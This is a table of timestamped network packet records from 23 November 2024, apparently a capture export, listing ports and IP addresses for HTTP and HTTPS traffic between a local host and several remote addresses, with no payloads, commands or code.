Nov 23, 2024 11:22:21.202871084 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.202986956 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.203037024 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.208360910 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.208404064 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.208523035 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.213886023 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.214031935 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.214099884 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.219291925 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.219415903 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.219468117 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.224934101 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.224992990 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.225114107 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.230345011 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.230508089 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.230645895 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.235827923 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.235897064 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.236028910 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.241266012 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.241424084 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.241487026 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.246810913 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.246933937 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.247030020 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.252356052 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.252473116 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.252543926 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.257813931 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.257940054 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.257997036 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.263256073 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.263358116 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.263453960 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.268707037 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.268951893 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.269041061 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.274293900 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.274368048 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.274447918 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.279838085 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.280003071 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.280071020 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.285233974 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.285336971 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.285389900 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.329204082 CET	443	49792	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:21.329782963 CET	49792	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:21.329792023 CET	443	49792	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:21.330319881 CET	49792	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:21.330322981 CET	443	49792	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:21.336575985 CET	80	49788	185.215.113.43	192.168.2.4
Nov 23, 2024 11:22:21.336668015 CET	49788	80	192.168.2.4	185.215.113.43
Nov 23, 2024 11:22:21.339668036 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:21.400305986 CET	443	49791	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:21.400711060 CET	49791	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:21.400733948 CET	443	49791	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:21.401158094 CET	49791	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:21.401163101 CET	443	49791	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:21.408545971 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.408807993 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.408864021 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.410530090 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.410643101 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.410693884 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.414612055 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.414700985 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.414798021 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.418596029 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.418910027 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.419806957 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.422563076 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.422791958 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.422842026 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.426547050 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.426672935 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.426724911 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.430613995 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.430778027 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.430824995 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.434535027 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.434983969 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.435034990 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.438554049 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.438765049 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.438812017 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.442555904 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.442612886 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.442743063 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.446657896 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.446685076 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.446743965 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.450560093 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.450684071 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.450757980 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.454528093 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.454658031 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.454700947 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.458525896 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.458605051 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.458688021 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.459908962 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:21.459975004 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:21.460107088 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:21.462547064 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.462649107 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.464391947 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.466598034 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.466715097 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.466758013 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.470592022 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.470658064 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.470758915 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.474565983 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.474637032 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.474741936 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.478518963 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.478579044 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.478640079 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.482517958 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.482641935 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.482724905 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.486502886 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.486645937 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.486691952 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.490561962 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.490626097 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.490729094 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.494529009 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.494762897 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.494816065 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.498529911 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.498651981 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.498713970 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.502561092 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.502733946 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.502779007 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.506573915 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.506726980 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.506773949 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.510540962 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.510723114 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.510763884 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.514513969 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.514641047 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.514686108 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.518495083 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.518560886 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.518657923 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.519789934 CET	443	49789	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:21.520236969 CET	49789	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:21.520250082 CET	443	49789	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:21.520706892 CET	49789	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:21.520711899 CET	443	49789	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:21.522500038 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.522527933 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.522571087 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.526582956 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.526655912 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.526720047 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.530430079 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.579602003 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:21.587413073 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.603348017 CET	443	49787	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:21.608366013 CET	49787	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:21.608381987 CET	443	49787	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:21.608941078 CET	49787	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:21.608946085 CET	443	49787	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:21.619174957 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.619379997 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.619450092 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.620697021 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.620763063 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.620866060 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.624337912 CET	443	49790	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:21.624449015 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.624587059 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.624744892 CET	49790	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:21.624764919 CET	443	49790	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:21.624766111 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.625318050 CET	49790	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:21.625322104 CET	443	49790	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:21.626818895 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.626976967 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.627109051 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.629930019 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.630069971 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.630110979 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.632894993 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.632941961 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.633011103 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.635806084 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.635941982 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.636018991 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.638734102 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.638812065 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.639009953 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.641630888 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.641735077 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.641799927 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.644429922 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.644542933 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.644629955 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.647214890 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.647418976 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.647728920 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.649992943 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.650098085 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.650160074 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.652695894 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.652812958 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.652861118 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.655384064 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.655505896 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.655649900 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.658094883 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.658139944 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.658273935 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.660785913 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.660870075 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.660908937 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.663439035 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.663539886 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.663578987 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.666115999 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.666213036 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.666249990 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.668833017 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.668936014 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.668984890 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.671648026 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.671869040 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.671924114 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.674209118 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.674278021 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.674315929 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.676836967 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.677071095 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.677118063 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.679560900 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.679680109 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.679722071 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.682199001 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.682329893 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.682493925 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.684896946 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.685018063 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.685071945 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.687588930 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.688087940 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.688129902 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.690285921 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.690371990 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.690476894 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.692960978 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.693098068 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.693278074 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.695657969 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.695795059 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.695841074 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.698337078 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.698432922 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.698479891 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.701000929 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.701159954 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.701361895 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.703689098 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.703787088 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.703825951 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.706362009 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.706548929 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.706595898 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.709053993 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.709163904 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.709332943 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.711750984 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.711954117 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.712009907 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.714433908 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.714610100 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.714658022 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.717102051 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.717250109 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.717300892 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.719784021 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.719922066 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.719969034 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.722464085 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.722508907 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.722572088 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.725158930 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.725187063 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.725233078 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.727845907 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.727960110 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.728017092 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.730528116 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.730783939 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.730839014 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.733283043 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.733479977 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.733530998 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.735902071 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.736007929 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.736049891 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.738590956 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.738730907 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.738780975 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.741236925 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.741352081 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.741395950 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.744005919 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.744050026 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.744322062 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.746908903 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.747030973 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.747076988 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.749365091 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.749505043 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.749576092 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.752080917 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.752207041 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.752334118 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.754808903 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.754898071 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.754946947 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.764934063 CET	443	49792	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:21.765098095 CET	443	49792	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:21.765157938 CET	49792	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:21.765235901 CET	49792	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:21.765244007 CET	443	49792	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:21.765260935 CET	49792	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:21.765264988 CET	443	49792	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:21.767663002 CET	49794	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:21.767676115 CET	443	49794	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:21.767843962 CET	49794	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:21.767976999 CET	49794	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:21.767988920 CET	443	49794	13.107.246.63	192.168.2.4
